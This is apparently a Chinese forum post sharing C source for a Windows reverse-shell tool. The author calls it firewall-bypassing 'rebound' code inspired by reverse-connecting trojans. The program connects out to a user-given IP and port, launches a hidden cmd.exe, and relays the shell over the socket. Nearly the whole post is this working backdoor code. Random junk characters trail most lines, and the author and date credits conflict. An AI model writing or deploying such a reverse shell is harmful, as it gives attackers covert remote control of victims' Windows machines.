这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 rCR?]1*Z
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/* ============================== ivYHq#b59
Rebound port in Windows NT hNgbHzW
By wind,2006/7 /6jt
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===============================*/ :akEl7/&
#include 6Qnerd%Ec
#include ukHSHsR
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#pragma comment(lib,"wsock32.lib") nd*9vxM
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void OutputShell(); Wjc1 EW!2x
SOCKET sClient; bRT1~)
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Cj"+` C)l
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void main(int argc,char **argv) 8z0j}xY%
{ smvIU0:K
WSADATA stWsaData; ,r~pf(nz
int nRet; teH.e!S
SOCKADDR_IN stSaiClient,stSaiServer; )w(-Xc?P
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if(argc != 3) GEj/Z};;[b
{ (jd)sf6Tj[
printf("Useage:\n\rRebound DestIP DestPort\n"); by!1L1[JTt
return; rOQ@(aUAZ
} &6<>hqR^
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WSAStartup(MAKEWORD(2,2),&stWsaData); 4XpW#>
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); \H|tc#::{
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stSaiClient.sin_family = AF_INET; C1&~Y.6m
stSaiClient.sin_port = htons(0); Gx/sJ(
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); {`?C5<r
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) %EkV-%o*
{ pxP,cS
printf("Bind Socket Failed!\n"); Z-X(.Q
return; bC*( ,n<'
} {R<0'JU
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stSaiServer.sin_family = AF_INET; H8.Aq\2S
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); J&Ig%&/
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); g$bbm}6S
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ?#~3%$>
{ lZ]x #v
printf("Connect Error!"); tQ0iie1Ys
return; q2 K@i*s
} dd1CuOd6(1
OutputShell(); KG9h
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} Y~z3fd
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void OutputShell() |R[@u=7s
{ sjl(
char szBuff[1024]; Bh3N6j+$d
SECURITY_ATTRIBUTES stSecurityAttributes; $>Md]/I8
OSVERSIONINFO stOsversionInfo; Ilt!O^
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; XgRrJ.
STARTUPINFO stStartupInfo; Wmri%
char *szShell; V&nTf 100
PROCESS_INFORMATION stProcessInformation; .m%/JquMFM
unsigned long lBytesRead; L3}n(KAJj
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); N3/G6wn
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); qJV2x.!
stSecurityAttributes.lpSecurityDescriptor = 0; v:/+OzY
stSecurityAttributes.bInheritHandle = TRUE; JxI\ss?O
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ab"6]%_
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0);
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); PP/EZ ^]b
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PF=BXY1<UL
stStartupInfo.wShowWindow = SW_HIDE; u /PaXQ
stStartupInfo.hStdInput = hReadPipe; cHqT1EY
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; >f)/z$
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GetVersionEx(&stOsversionInfo); Cg{V"B:
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switch(stOsversionInfo.dwPlatformId) lO^Ly27
{ }/)vOUcEd
case 1: 2stBW5v3
szShell = "command.com"; ((KNOa5
break; bm/pLC6%.
default: cyYsz'i m
szShell = "cmd.exe"; 0_nY70B
break; Tx+!D'>
} *B<Ig^c
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); kpF")0qr
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send(sClient,szMsg,77,0); B$ty`/{w,B
while(1) mEK0ID\
{ vbFi#|EU
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); yC%zX}5
if(lBytesRead) w=e_@^Fkx
{ w5/`_m!
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); War<a#0
send(sClient,szBuff,lBytesRead,0); bUv}({
} yg}zK>j^vC
else pF0sXvWGG
{ Q=B>Q
lBytesRead=recv(sClient,szBuff,1024,0); 4Js2/s
if(lBytesRead<=0) break; ;/-v4
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); {tS^Q*F
} "&$ [@c
} ^:krfXT
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return; `O5 Hzb(}
}